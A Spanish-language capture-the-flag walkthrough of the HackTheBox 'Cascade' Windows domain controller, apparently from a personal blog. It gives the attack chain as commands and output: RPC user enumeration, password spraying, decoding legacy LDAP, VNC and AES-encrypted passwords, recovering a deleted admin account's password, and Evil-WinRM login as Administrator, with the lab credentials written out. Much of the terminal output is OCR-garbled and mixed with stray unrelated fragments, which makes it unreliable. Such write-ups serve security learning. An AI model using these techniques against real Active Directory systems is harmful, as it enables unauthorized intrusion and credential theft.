

1. Enumeración

Realizamos un ping para detectar el TTL de la máquina víctima. De esta forma, podemos prever a qué tipo de máquina nos estamos enfrentamos. Aparentemente, estamos ante una máquina Windows.

🕆 ~/HTB/cascade 🔪 🗶 1 🔤 akardees (1:12:20:2)
l+o ping n ∺c 1i10.10.10.182 ara shared-mime-info (2.0-1)
PING 10.10.10.182 (10.10.10.182) 56(84) bytes of data.
64 bytes from 10.10.10.182: icmp_seq=1 ttl=127 time=40.1 ms
Rebu 10d10d10d182sping/statistics ne/bamf-2.index
1 packets transmitted, 1 received, 0% packet loss, time)Oms
rttomin/avg/max/mdevr=s40.063/40.063/40.063/0.0000ms7-2)

Realizamos una enumeración de sus puertos y obtenemos el siguiente resultado:



Nmap nos ha descubierto el dominio "cascade.local", por tanto lo vamos a añadir a nuestro /etc/hosts, por si lo necesitamos más adelante.



2. Análisis de vulnerabilidades

Vemos que la máquina víctima, tiene el servicio DNS expuesto. Vamos a intentar a realizar un ataque de transferencia de zona. Pero nos dará error.

/home/parrot/HTB/cascade >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
— dig 10.10.10.182 cascade.local axfr o de configuration /etc/appartor.d/usr itd.llocaffice.program.osplash
; <<>> DiG 9.18.4-2~bpo11+1-Debian <<>> 10.10.10.182 cascade.local axfr ;; global options: +cmd ;; Got answer: ;; ->>HEADER<< opcode: QUERY, status: NXDOMAIN, id: 10209 ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; MBZ: 0x0005, udp: 512 ; 0UESTION SECTION: ;10.10.10.182. IN A
num dum andu conservation i ce passe denvers (1:7.4.1-1-populate) ;; AUTHORITY SECTION: re-passe denvers (1:7.4.1-1-populate)
. 5 IN SUA a.root-servers.net. hsttd.vertstgn-grs.com. 2022100200 1800 900 604800 804 :: Query time: 6 msec :; SERVER: 192.168.237.2#53(192.168.237.2) (UDP) :; WHEN: Sun Oct 02 18:10:34 CEST 2022 :; MHSG SIZE rcvd: 116
; Transfer failed.office-scrupt-provider-bin (1:7.4.1-1-bpo11-2)

Intentamos varias formas de enumerar recursos compartidos por SMB pero no vemos nada de interés.



Otro servicio que observamos al que tenemos acceso es el servicio RPC (135). Vamos a intentar hacer una enumeración del dominio. Obtenemos un listado de usuarios, a pesar que la conexión al servicio RPC lo hacemos sin autenticación.

Genrégolient AUS""o10:10.105182yeN
rpcclientn\$> enumdomüsersimpress (1
<pre>user:[CascGuest] rid:[0x1f5]\breoff</pre>
<pre>user:[arksvc]lrid:[0x452]base-core</pre>
<pre>user:[s.smith]yrid:[0x453]1:7.4.1-1</pre>
<pre>@ser:[n.thompson]enid:[0x455]pt-pro</pre>
<pre>user:[util]orid:[0x457]e-script-pro</pre>
<pre>user:[j:wakefield]orid:[0x45c](1:7.</pre>
<pre>user:[s.hickson] rid:[0x461]</pre>
<pre>user:[j.goodhand]erid:[0x462] (1:7.</pre>
<pre>user:[a.turnbull]frid:[0x464]breoff</pre>
user:[e.crowe]inid:[0x467]dbc-hsqld
<pre>user:[b.hanson]brid:[0x468]iter (1)</pre>
<pre>user:[d.burman]grid:[0x469]Libreoff</pre>
<pre>user:[BackupSvc]rrid:[0x46a]tpt-pro</pre>
user:[j:allen]:nid:[0x46e]lpsolver
user:[u.croft]crid:[0x46f]eport-bui
rpcclient \$> tibreoffice (1:7.4.1-1

Metemos estos usuarios en un fichero, para usarlos más adelante.

File: users.txt
a.turnbull
arksvc Info: H
b.hanson
BackupSvc
CascGuest
d.burman
e.crowe
i.croft
j.allen
j.goodhand ates
j.wakefield
r.thompson lles
s.hicksonetect
s.smith
util

Intentemos ahora averiguar que usuarios son administradores del dominio. Para este comando nos da acceso denegado.

rpcclientn\$> querygroupmeml0x200er resultnwascNT_STATUS_ACCESS_DENIEDi

Revisaremos ahora las descripciones de los usuarios por si hubiera algo de interés, pero no vemos nada.

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lient \$>	quer	ydispir	nfo													
k: 0xee0	RID:	0x464	acb:	0x00000214	Account:	a.turnbull	Name:	Adrian Turnbull	Desc:	(null)						
k: Oxebc	RID:	0x452	acb:	0x00000210	Account:	arksvc Name:	ArkSvc	Desc: (null)								
<: 0xee4	RID:	0x468	acb:	0x00000211	Account:	b.hanson	Name:	Ben Hanson	Desc:	(null)						
k: 0xee7	RID:	0x46a	acb:	0x00000210	Account:	BackupSvc	Name:	BackupSvc Desc:	(null)							
k: Oxdeb	RID:	0x1f5	acb:	0x00000215	Account:	CascGuest	Name:	(null) Desc:	Built-i	n account	for	guest	access	to the	computer/	domain
k: 0xee5	RID:	0x469	acb:	20x00000210	Account:	d.burman	Name:	David Burman	Desc:	(null)						
k: 0xee3	RID:	0x467	acb:	0x00000211	Account:	e.crowe	Name:	Edward Crowe	Desc:	(null)						
k: Oxeec	RID:	0x46f	acb:	0x00000211	Account:	i.croft	Name:	Ian Croft Desc:	(null)							
k: Oxeeb	RID:	0x46e	acb:	0x00000210	Account:	/j.allen	Name:	Joseph Allen	Desc:	(null)						
k: Oxede	RID:	0x462	acb:	0x00000210	Account:	o jtgoodhand or	rec Name:	JohnaGoodhand//	nmaDesc:	(null)/						
k: 0xed7	RID:	0x45c	acb:	0x00000210	Account:	j.wakefield	Name:	James Wakefield	Desc:	(null)						
k: Oxeca	RID:	0x455	acb:	0x00000210	Account:	r.thompson	Name:	Ryan Thompson	Desc:	(null)						
k: 0xedd	RID:	0x461	acb:	0x00000210	Account:	s.hickson	Name:	Stephanie Hicks	on Desc:	(null)						
k:=0xebd	RID:	0x453	acb:	0x00000210	Account:	s.smith	Name:	Steve Smith	Desc:	(null)						
k: 0xed2	RID:	0x457	acb:	0x00000210	Account:	util Name:	Util	Desc: (null)								
	pcclient \$> lient \$> lient \$> x: 0xee0 x: 0xee0 x: 0xee4 x: 0xee4 x: 0xee5 x: 0xee5 x: 0xee5 x: 0xee5 x: 0xee6 x: 0xee6 x: 0xeed x: 0xed4 x: 0xed4 x: 0xed4 x: 0xed2	pcclient =0 " lient \$> quer; lient \$> quer; x: 0xe0 RID: x: 0xed RID:	pcclient -U "" 10.1 lient \$> querygroup lit was NT_STATUS_ACC lient \$> querydispir x: 0xe0e RID: 0x464 x: 0xebc RID: 0x464 x: 0xebc RID: 0x465 x: 0xee RID: 0x465 x: 0xee RID: 0x467 x: 0xee RID: 0x467 x: 0xee RID: 0x467 x: 0xee RID: 0x465 x: 0xed RID: 0x452 x: 0xed RID: 0x451 x: 0xed RID: 0x4	pcclient -U "" 10.10.10. lient \$> querygroupmem 0; lient \$> querygroupmem 0; lient \$> querydispinfo x: 0xebc RID: 0x464 acb; x: 0xebc RID: 0x464 acb; x: 0xebc RID: 0x466 acb; x: 0xee RID: 0x466 acb; x: 0xee RID: 0x466 acb; x: 0xee RID: 0x467 acb; x: 0xee RID: 0x465 acb; x: 0xee RID: 0x465 acb; x: 0xee RID: 0x465 acb; x: 0xee RID: 0x455 acb; x: 0xeed RID: 0x455 acb; x: 0xeed RID: 0x453 acb;	<pre>pcclientU ** 10.10.10.182 -N lient \$> querygroupmem 0x200 lit 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Intentamos realizar un ataque de ASREPRoast, pero no funciona.

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/home/parrot/HTB/cascade	
└─ impacket+GetNPUsers cascade.local/ -usersfile <u>users.txt</u> +format hashcat -outputfile hashes.asreproast -dc-ip 10.10.10.182	
Impacket v0.9922c+ Copyrightp2020 SecureAuthsCorporation RPC	
23 49170/tcp open msrpc Microsoft Windows RPC	
[-] User a.turnbull/doesn*t:have/UF_DONT_REQUIRE_PREAUTH set:/osmicrosoftswindows_server_2008sr2:spi, cpe:/osmicrosoftswindows	
[-] User arksvc doesn't have UF_DONT_REQUIRE_PREAUTH set	
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)	
[-] User BackupSvc:doesn't:have UF_DONT_REQUIRE_PREAUTH set	
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)	
[-] User d.burman.doesn'tchave UF@DONT_REQUIREUPREAUTH set	
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)	
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)	
[-] User j.allen doesn't have UF_DONT_REQUIRE_PREAUTH set	
[-] User j.goodhand doesn't have UF_DONT_REQUIRE_PREAUTH set	
[-] User j.wakefieldidoesn'tihave UF_DONT_REQUIRE_PREAUTH set	
[-] User rathompsontdoesn*tphaverUF_DONT_REQUIRE_PREAUTHisetrrect results at https://nmap.org/submit/ .	
[-] User s.hickson doesn't have UF_DONT_REQUIRE_PREAUTH set itess (thost up) scanned to 90,13 seconds	
[-] User s.smith doesn't have UF_DONT_REQUIRE_PREAUTH set	
[-] User util doesn't have UF_DONT_REQUIRE_PREAUTH set	
(hame / harrot / UTP / cascade) / / / / / / / / / / / / / / / / / /	

Intentamos ver si un usuario dado, tiene como contraseña, su mismo nombre de usuario. Con el parámetro –no-bruteforce conseguimos que vaya línea a línea del fichero.

,	/home/parrot/HTB/cascade > / >	
L (<pre>crackmapexectsmb=10.10.10.10.182 -u users.txt==p users.txt==-no-bruteforce</pre>	
SMB	SMB 49:10.10.10.10.182 msr445 CASC-DC1osoft Win [*] Windows 6.1 Build 7601 x64 (name:CASC-DC	1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB	SMB Ser10.10.10.10.1820st:4453C-DCASC-DC1Windows; [+].cascade.local\a.turnbull:a.turnbull:STAT	US_LOGON_FAILURE rosoft: windows
SMB	SMB 10.10.182 445 CASC-DC1 [-] cascade.local\arksvc:arksvc STATUS_LOGON	_FAILURE
SMB	SMB: Ho:10:10.10.182(lts445 CASC-DC1 [-] cascade.local\b.hanson:b.hanson STATUS_L	OGON_FAILURE
SMB	SMB 10.10.10.10.182 mod445 CASC-DC1 [-] cascade.local\BackupSvc:BackupSvc STATUS	_LOGON_FAILURE
SMB	SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\CascGuest:CascGuest STATUS	_LOGON_FAILURE
SMB	SMB 10.10.10.182\gni445enabCASC-DC1required [-] cascade.local\d.burman:d.burman STATUS_L	OGON_FAILURE
SMB	SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\e.crowe:e.crowe STATUS_LOG	ON_FAILURE
SMB	SMB 10:10:10:182:0-04450:04CASC-DC1 [-] cascade.local\i.croft:i.croft STATUS_LOG	ON_FAILURE
SMB	SMB10:10:10:182 20244502CASC-DC11[-] cascade.local\j.allen:j.allen STATUS_LOG	ON_FAILURE
SMB	SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\j.goodhand:j.goodhand STAT	US_LOGON_FAILURE
SMB	SMB: Rea10d10.10:182 fro445/usrCASC-DC1:hare/nma[-] cascade.local\j.wakefield:j.wakefield ST	ATUS_LOGON_FAILURE
SMB	SMB Ser10.10.10.182on p445ormeCASC=DC1e report [+] cascade.local\rithompson:r.thompson STAT	US_LOGON_FAILURE
SMB	SMB: 10.10.10.10.182 on 445 CASC-DC1 2022 [-] cascade.local\s.hickson:s.hicksonSTATUS	_LOGON_FAILURE
SMB	<pre>SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\s.smith:s.smith STATUS_LOG</pre>	ON_FAILURE
SMB	SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\util:util STATUS_LOGON_FAI	LURE

No obtenemos nada. Si quitamos el parámetro –no-bruteforce, tampoco. Por tanto, seguimos con nuestro proceso de enumeración. Ahora toca enumerar al servicio de Idap.

• Idapsearch -x -h 10.10.10.182 -w " -b "dc=cascade, dc=local" | cat -l ruby

Vamos a filtrar por usuarios (que tienen un texto en el objeto denominado userPrincipalName) y pulsando "n", podemos ir al siguiente objeto que contiene el texto.



Vemos en el usuario r.thompson, un campo un poco sospechoso llamado "cascadeLegacyPwd". Parece que está en base64.

<pre>userPrincipalName: r.thompson@cascade.local</pre>
objectCategory: CN=Person, CN=Schema, CN=Configuration, DC=cascade, DC=local
dSCorePropagationData: 20200126183918.0Z
dSCorePropagationData: 20200119174753.0Z
dSCorePropagationData: 20200119174719.0Z
dSCorePropagationData: 20200119174508.0Z
dSCorePropagationData: 16010101000000.0Z 00003 2022 assistant sciller
lastLogonTimestamp: 132294360317419816
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: <u>clk0bjVldmE</u> =

Desencriptamos la clave.



Usuario: r.thompson

Clave: rY4n5eva

Comprobamos si las credenciales son válidas y lo son.



Vamos a intentar realizar un ataque de Kerberoasting, pero no resulta.



Intentamos conectarnos con EvilWinRM, pero no nos lo permite.



Ahora que tenemos credenciales válidas, vamos a intentar enumerar recursos SMB.

└── smbma [+] IP:	p -H 10.10.10.182 -u "r.thompson" -p "rY4n5eva" 10.10.10.182:445 Name: cascade.local Disk Sage signing enabled second coursed	Permissions	Comment
	ADMIN\$ te: 2022-10-02716:84:02	NO ACCESS	Remote Admin
	Audit\$tart_date: 2022-10-02715:52:21	NO ACCESS	Default chare
	C\$ Datad data files from: /usr/bin//share/nmap	READ ONLY	Derdutt share
	IPC\$ ice detection performed. Please report any i	incorrecNO ACCESS at ht	Remote IPCorg/submit
	NETLOGON and at Sun Oct 2 18:84:39 2922 1 TP	READ ONLY	Logon server share
	print\$	READ ONLY	Printer Drivers
	SYSVOL	READ ONLY	Logon server share

Nos metemos en Data y posteriormente en IT. Vamos descargando la información con el comando "get". Con el comando "dir", podemos ir navegando.

(hame (nonset (UTD (concords () if adapted										
/nome/parrol/HIB/cascade/windapse	arcn		ma	ste	r ?2	X	INT	2m 38s		
<pre>_ smbclient //10.10.10.182/data -U</pre>	"r.t	hon	nps	on@	casca	de.l	oca	l%rY4n5ev	a"	
Try "help" to get a list of possible	com	mar	nds							
smb: \> dir: date: 2022-10-02T16:04:										
	D			0	Mon	Jan	27	04:27:34	2020	
	D			0	Mon	Jan	27	04:27:34	2020	
Contractors data files from: /usr/	D			a	Mon	Jan	13	02:45:11	2020	
FinanceService detection performed	D			0	Mon	Jan	13	02:45:06	2020	
IT / Amap done at Sun Oct 2 1	D			0	Tue	Jan	28	19:04:51	2020	
Production	D			0	Mon	Jan	13	02:45:18	2020	
Temps	D			0	Mon	Jan	13	02:45:15	2020	
6553343 blocks of si	ze 4	096	5.	162	5047	bloc	KS i	available		

Revisamos el contenido del fichero Meeting_Notes_June_2018.html. Nos guardamos esta información para que cuando ganemos acceso.

<-> We will be using a temporary account to the network migration and this account will be deleted at the end of 2018 once the migration is complete. This will allow us to identify actions is the same as the normal admin account password).
related to the migration in security logs etc. Username is TempAdmin (password is the same as the normal admin account password).
op>-- The winner of the dest GPO competition will be announced on Friday so get your submissions in soon.

En el directorio Data/IT/Temp/s.smith encontramos el fichero VNC Install.reg. Si lo visualizamos vemos un campo en hexadecimal llamado "Password".

└─ cat	s.smith\\VNC\ Install.reg
	File: s.smith\VNC Install.reg <utf-16le></utf-16le>
	Windows Registry Editor Version 5.00
	[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC]
	[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server]
	"QueryTimeout"=dword:0000001e VERSION
	"QueryAcceptOnilmeout"=dword:00000000 "LocalInputPriorityTimeout"=dword:00000003
	"LocalInputPriority"=dword:000000000000000000000000000000000000
	"BlockLocalInput"=dword:00000000 "IpAccessControl"=""los sso
	"RfbPort"=dword:0000170c "HttpPort"=dword:000016a8_ds?
	"DisconnectAction"=dword:00000000 "AcceptRfbConnections"=dword:00000001
	"UseVncAuthentication"=dword:00000001
	"RepeatControlAuthentication"=dword:0000000
	"AcceptHttpConnections"=dword:00000001
	"EnableFileTransfers"=dword:00000001
	"UseD3D"=dword:0000001 DD1 05: Windows; CPE:
	"UseMirrorDriver"=dword:00000001 "EnableUrlParams"=dword:00000001
	"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f

Si lo decodificamos obtenemos el siguiente código. Parece que tiene caracteres no legibles.



Si buscamos por internet encontramos una utilidad que podemos usar para desencriptar este tipo de contraseñas: <u>https://github.com/jeroennijhof/vncpwd</u>. Nos clonamos el proyecto y ejecutamos. Obtenemos una credencial.

<pre>/home/parrot/HTB/cascade/vnc/vncpwd > master ?2 ></pre>	1	6s	
<pre>_ echo "6bcf2a4b6e5aca0f"- 2xxd: 6ps02r > passwd</pre>			
<pre>/home/parrot/HTB/cascade/vnc/vncpwd > master ?3 ></pre>			
<pre>LN/vncpwdapasswd files from: /usr/bin//share/nma</pre>			
Password:SsT333ve2etection performed. Please report			

Clave: sT333ve2

3. Explotación e Intrusión.

Comprobamos la credencial y vemos que es válida. Vamos a intentar usarla con EvilWinRM y funciona.



©Dandy_loco https://dandyloco.github.io/

4. Escalada de privilegios

En el directorio Users, vemos los siguientes usuarios:

Evil-WinRM	PS C:\Users	> dir	: System	Directo	ryServices,Acti			
ObjectClass								
Director	y: C:\Users							
objectSid								
orimary@roup								
Mode	mAccidenLast	WriteTim	e False	Length	Name			
eweeastSet								
deeeeeoun tila	3/25/2020	11:17 A	M TelipAdi		Administrator			
dtsette	1/28/2020	11:37 P	M		arksvc			
d-r-A-count0	7/14/2009	5:57 A	M 66848		Public			
d Incloa	1/15/2020	10:22 P	M TempAdr		s.smith			

Entendemos que tenemos que conseguir ser usuario arksvc primero. Antes que nada, vamos a enumerar de nuevo los recursos compartidos a los que tenemos acceso con esta credencial. Vemos el directorio Audit.

/hom smbm	e/parrot/HTB/ che e ap -H 10.10.10.18	• × INT • • • 32 -u "s.smith" -p	"sT333ve2"		
[+]eIP:	10.10.10.182:445	5WriteTim Name: cas	cadeglocalme		
	Disk			Permissions	Comment
-ar					
-a	ADMIN\$ 2/4/2021			NO ACCESS	Remote Admin
	Audit\$			READ ONLY	
	C\$			NO ACCESS	Default share
*Evil-W	i Data PS C:\Users			READ ONLY	
LÀRProg	r IPC\$ iles (x86)@s			NO ACCESS	Remote IPC
<i>WINDIR</i>	NETLOGON			READ ONLY	Logon server share
fDR 🚽	print\$			READ ONLY	Printer Drivers
f*sWinD	SYSVOE20			READ ONLY	Logon server share

Listamos el contenido de ese directorio.

/home/parrot/HTB/chee	-U "s.	smith@ca	iscade	e.loc	al	sT333ve2'				
Try "help" to get a list of possible commands.										
<pre>smb: \> dir LastWriteTime</pre>										
	D	0	-Wed	Jan	29	19:01:26	2020			
-ar 10/2/2022 4:53 PM	D	30	Wed	Jan	29	19:01:26	2020			
-aCascAudit.exe2/4/2021 4:24 PM	An	13312	Tue	Jan	28	22:46:51	2020			
CascCrypto.dll	An	12288	Wed	Jan	29	19:00:20	2020			
DB	D	0	Tue	Jan	28	22:40:59	2020			
RunAudit:bats C:\Users\s.smith\De	eskt A p>	type 45 t	Wed	Jan	29	00:29:47	2020			
ÀSystem:DatalSQLite:dllhell32.dll.	-21 A 17	2363520	Sun	0ct	27	07:38:36	2019			
System:Data.SQLite.EF6.dll	A	186880	Sun	0ct	27	07:38:38	2019			
fDx64	D	0	Sun	Jan	26	23:25:27	2020			
f* x86 nDirStatf2ð ð2P WINDIR-	1.EDEi	≩ð2PDR 0	Sun	Jan	26	23:25:27	2020			
Council and a start and AS KRC A December 1										

Para trabajar más cómodamente, nos bajamos todo el contenido con mget *. Para que sea recursivo y no nos pida confirmación añadimos las opciones "prompt off" y "recurse ON".

	6553343 blocks of size 4096. 1618372 blocks available
smb:-\>	prompt/off/2022 4:53 PM 34 user.txt
smb:-\>	recurse ON/2021 4:24 PM 1031 WinDirStat.lnk
<pre>smb: \></pre>	mget *
getting	file \CascAudit.exe of size 13312 as CascAudit.exe (79,3 KiloBytes/sec) (average 79,3 KiloBytes/sec)
getting	file \CascCrypto.dll of size 12288 as CascCrypto.dll (90,9 KiloBytes/sec) (average 84,5 KiloBytes/sec)
getting	file \RunAudit.bat of size 45 as RunAudit.bat (0,3 KiloBytes/sec) (average 58,5 KiloBytes/sec)
getting	file \System.Data.SQLite.dll of size 363520 as System.Data.SQLite.dll (1344,7 KiloBytes/sec) (average 549,2 KiloBytes/sec)
getting	file \System.Data.SQLite.EF6.dll of size 186880 as System.Data.SQLite.EF6.dll (274,4 KiloBytes/sec) (average 414,5 KiloBytes/sec)
getting	file \DB\Audit.db of size 24576 as DB/Audit.db (181,8 KiloBytes/sec) (average 393,9 KiloBytes/sec)
getting	file \x64\SQLite.Interop.dll of size 1639936 as x64/SQLite.Interop.dll (4034,0 KiloBytes/sec) (average 1160,2 KiloBytes/sec)
getting	file \x86\SQLite.Interop.dll of size 1246720 as x86/SQLite.Interop.dll (4411,2 KiloBytes/sec) (average 1575,2 KiloBytes/sec)
smb: \>	<pre>//www.sec-dc1*Evil-WinRM* PS C:\Users\s.smith\Desktop></pre>

Inspeccionamos el fichero Sqlite.



En la tabla Ldap, vemos una credencial, pero no parece legible a pesar de decodificarla en base64.

S	qlite>	selectex	from	Ldap;rogram	Files (:	x86)\Wi
1	ArkSvo	BQ0515K	j9MdE1	rXx6Q6AG0w==	cascade	.local

Si inspeccionamos el binario con strings (-e l para ver más información – solo funciona en Windows), vemos una clave ("c4scadek3y654321"). Vemos con crackmapexec si pertenece a algún usuario, pero no.

	/home/	parrot/	HTB/chee	X INT D a	
	string	s CascA	udit eve	-e]	
	5-0	5 <u>cuscr</u>	du cc.exe		
	.J <c< th=""><th>+ Decen</th><th></th><th></th><th>Longth Name</th></c<>	+ Decen			Longth Name
	CascAudio	L.Resou	rcestasu		Length Name
	Invalid n	umber o	t comman	d-line-args sp	pecified. Must-specify database path only
	Data-Sour	ce= 3/			Desktop
	:Version=	3: 1/			Documents
	SELECT *	FROM ID	AP/2009		Downloads
	Unamo				Eavoritos
					havor tites
	Domain				LINKS
	c4scadek3	y654321			Music
E Contraction of the second					
/home/parrot/HTB/chee					
crackmapexec smb 10.10	:10:182\Pus	/cascade	e/users.txt	-p "c4scadek3y65	54321"
10.10.10.182	445 C	ASC-DC1	[*]	Windows 6.1 Build	1 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
10.10.10.182	445 C	ASC-DC1		cascade.local\a.t	turnbull:c4scadek3y654321_STATUS_LOGON_FAILURE
Director10.10.10.182s	.sm445\DesC	ASC-DC1		cascade.local\ark	<pre>ksvc:c4scadek3y654321 STATUS_LOGON_FAILURE</pre>
10.10.10.182	445 C	ASC-DC1		cascade.local\b.h	hanson:c4scadek3y654321_STATUS_LOGON_FAILURE_
10.10.10.182	445 C	ASC-DC1		cascade.local\Bac	kupSvc:c4scadek3y654321 STATUS_LOGON_FAILURE
e 10.10.10.182	rut445me C	ASC-DC1en		cascade.local\Cas	scGuest:c4scadek3y654321 STATUS_L0GON_FAILURE
- 10.10.10.182-	445 C	ASC-DC1		cascade.local\d.b	ourman:c4scadek3y654321 STATUS_LOGON_FAILURE
10.10.10.182	4:445PM C	ASC-DC1		cascade.local\e.c	crowe:c4scadek3y654321 STATUS_LOGON_FAILURE
10.10.10.182	445 C	ASC-DC1		cascade.local\i.c	roft:c4scadek3y654321 STATUS_LOGON_FAILURE
10.10.10.182	445 C	ASC-DC1		cascade.local\j.a	allen:c4scadek3y654321_STATUS_LOGON_FAILURE
10.10.10.182	445 C	ASC-DC1		cascade.local\j.g	goodhand:c4scadek3y654321 STATUS_LOGON_FAILURE
10.10.10.182	s.s <mark>445</mark> h∖De C	ASC=DC1		cascade.local\j.w	vakefield:c4scadek3y654321 STATUS_L0GON_FAILURE
Program F 10:10(10:182 h	ell445dll,C	ASC-DC1		cascade.local\r.t	chompson:c4scadek3y654321 STATUS_LOGON_FAILURE
NDIR~13D10.10.10.182	445 C	ASC-DC1		cascade.local\s.h	nickson:c4scadek3y654321 STATUS_LOGON_FAILURE
10.10.10.182	445 C	ASC-DC1		cascade.local\s.s	smith:c4scadek3y654321 STATUS_LOGON_FAILURE
WinDirSta 10.10.10.182 8	2P 445DIR~C	ASC-DC12P		cascade.local\uti	ll:c4scadek3y654321 STATUS_LOGON_FAILURE
/home/parrot/HTB/chee	65				

Vamos a abrir el binario para inspeccionar más cómodamente como funciona. Vamos a usar dot ultimate <u>https://www.jetbrains.com/es-es/dotnet/</u> en nuestro equipo Windows.



Nos traemos los ficheros CascAudit.exe y CascCrypto.dll para analizarlos.



Ya tenemos la clave (base64 del fichero sqlite), la key de decodificación y el IV. Por tanto, podríamos decodificar la clave con el uso de CyberChef (<u>https://gchq.github.io/CyberChef</u>).

https://gc	hq.github.io/CyberChe	f/#recipe=Fr	om_Base	64('A-Za-z0-9%2B/	%3D',true,false).	AES_Decrypt({'	option':'UTF8','string':'c4sca	dek3y654321'},{'option':
ramación 🇯 I	Revision de Logs OSSI	🕅 Kenjo 🧔	Discord	👏 User Account Had	k4u CVE Tre	nds - crowdso	How to create a stunni	HackTheBox - Timelap.
						Last build:	17 days ago	
	Recipe						Input	
	From Base64					⊘ 11	BQO515Kj9MdErXx6Q6AG	GOw==
	Alphabet A-Za-z0-9+/=					-		
	Remove non-a	alphabet ch	ars	Strict m	ode			
	AES Decrypt					⊘ 11		
	_{Kev} c4scadek3y654	321				UTF8 🕶		
	Ⅳ 1tdyjCbY1Ix49	842				UTF8 🕶		
	Mode CBC		Input Rav	t V	Output Raw			
							Output	
							w3lc0meFr31nd	

Clave: w3lc0meFr31nd

Probamos la credencial e ingresamos en el sistema con EvilWinRM.

Inspeccionamos a qué grupos pertenecemos y vemos que pertenecemos a "AD Recycle Bin". Recordemos que habíamos visto anteriormente, en el fichero

Meeting_Notes_June_2018.html, que se había creado un usuario temporal con la misma clave que el administrador.

Evil-WinRM PS C:\Users\ark	ksvc\Documents> net user arksvo	
User name	arksvc Videos	
Full Name	ArkSvc	
Comment		
User's comments		
Country code PS C:\Users\s.s	000 (System Default)	
Account actives C:\Users\sss	HYes\Documents> dir	
Account expires	Neveroculientss cd	
PS C:\Users\s.s		
Password last set	1/9/2020 5:18:20 PM	
Password expires	Never	
Password changeable	1/9/2020 5:18:20 PM	
Password required	YesDesktop	
User may change password	No	
Workstations allowed Logon script	All Length Name	
User profile 10/2/2022 4:		
Home directory		
Last logon	10/3/2022 2:27:49 PM	
Logon hours allowed	-All\Desktop> type WinDirStat. 132.dll -218177108	
Local Group Memberships	*AD Recycle Bin *IT *Remote Management Use	
Global Group memberships The command completed succes	*Domain Users 2008 ssfully.cles.ca861.WindirStaty	
Evil-WinRM PS C:\Users\ark	ksvc\Documents> \Users\s.smith	

Googleando (<u>https://opentechtips.com/how-to-query-deleted-ad-users-with-powershell/</u>) podemos saber como extraer usuarios eliminados.

• Get-ADObject -Filter {isDeleted -eq \$true} -IncludeDeletedObjects -Properties *

canon cea triaile		DEL:f0cc344d-31e0-4866-bceb-a842791ca059
cascadeLegacyP	wd LastW	YmFDVDNyMWF0MDBkbGVz
CN		TempAdmin
-ar		DEL:f0cc344d=31e0=4866=bceb-a842791ca059
codePage		☑ 1031 WinDirStat.lnk

Nuevamente, esta vez para el usuario TempAdmin, vemos un campo denominado cascadeLegacyPwd. La credencial anterior vimos que estaba en base64, por lo tanto esta es probable que también lo esté.

<pre>/home/parrot/HTB/cascade</pre>	•	$\left(\right)$							
leechoo"YmFDVDNyMWFOMDBkbGV	Ζ"		bas	se64	+ -	d;	e	cho	
baCT3r1aN00dlësme									

Clave: baCT3r1aN00dles

Probamos a ver si es una clave válida para el usuario Administrator y efectivamente lo es.

/home/parrot/HTB/cascade > / > #	
— crackmapexec winrm 10.10.10.182 -u Administrator -p "baCT3r1aN00dles"	
SMB ghtsEffe10.10.10.182 5985 CASC-DC1 [*] Windows 6.1 Build 7601 (name:CASC-DC1) (domain:cascade.local)
HTTPAccount(10:10.10.182 5985) CASC-DC1 [*] http://10.10.10.182:5985/wsman	
<pre>wINRMnincipal0.10.10.182 5985 CASC-DC1@cascade [+] cascade.local\Administrator:baCT3r1aN00dles (Pwn3d!)</pre>	
SNChanged : 237705	
/home/parrot/HTB/cascade / 65 /	
<pre>- evil-winrm -i 10.10.10.182 -u 'Administrator'i-p 'baCT3r1aN00dles'<a059< pre=""></a059<></pre>	
TSecurityDescriptor : System.DirectoryServices.ActiveDirectorySecurity	
Evil-WinRM shell v3.4	
nject class : user	
warning: κemote pain completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this mac	ithe
appendix and a second	
Totacial conditional and the second	
Info: Establishing connection to remote endpoint9503	
AMAccountName : TempAdmin	
Evil+WinRM PS C:\Users\Administrator\Documents> whoami	
cascade\administrator 66648	